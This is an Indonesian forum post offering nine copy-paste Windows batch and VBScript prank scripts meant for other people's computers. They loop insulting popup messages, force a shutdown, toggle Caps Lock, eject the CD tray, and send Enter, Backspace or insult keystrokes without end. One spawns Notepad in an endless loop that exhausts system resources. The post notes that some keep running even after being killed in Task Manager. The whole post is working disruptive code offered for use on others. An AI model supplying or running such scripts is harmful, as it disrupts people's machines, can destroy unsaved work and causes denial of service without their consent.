[ISENG] Bikin 9 script Yang Berguna/Ngeselin :-)

buka notepad lalu copy paste script di bawah.....

1.message yang nongol melulu
Code:

@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

save namafile.BAT
ket:
walaupun di kill task manager,masih tetep nongol message nya
kata2 nya bisa diganti sesuai selera masing2..


2.bikin shutdown+message
Code:

@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu standar abis"

save namafile.BAT


3.Mainin Caps Lock button
Code:

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

save namafile.vbs


4.buka tutup CD/DVD
Code:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

save namafile.vbs


5.bikin vbscript nongol mlulu
Code:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

save namafile.vbs
ket:di task manager full wscript yg lg running :D



6.teken tombol backspace mlulu
Code:

MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

save namafile.vbs


7.otomatis ngetik "lu jelek banget sih" di notepad/word
Code:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek banget sih!!!"
loop

save namafile.vbs


8.buka notepad trus menerus
Code:

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

save namafile.BAT
ket:termasuk yang ngeselin banget nih
bisa di ganti,terserah mau buka cmd ato buka yg lain..ganti aja dir nya.


9.otomatis buka notepad lalu ngetik apa yg ente mau
Code:

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "

save namafile.vbs
angka2 di atas bisa di modif sendiri (durasi nongol notepad/ngetiknya)


Sekian kumpulan script2 yang jail/berguna ^__^

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